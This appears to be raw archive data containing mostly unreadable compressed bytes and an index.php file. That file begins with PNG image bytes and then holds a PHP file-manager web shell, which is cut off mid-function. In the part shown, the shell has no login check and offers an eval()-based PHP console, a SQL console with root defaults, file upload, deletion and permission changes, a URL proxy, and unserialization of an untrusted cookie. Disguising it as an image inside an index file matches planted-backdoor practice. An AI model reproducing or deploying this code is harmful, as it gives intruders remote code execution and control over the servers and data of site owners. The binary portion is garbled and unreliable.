0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
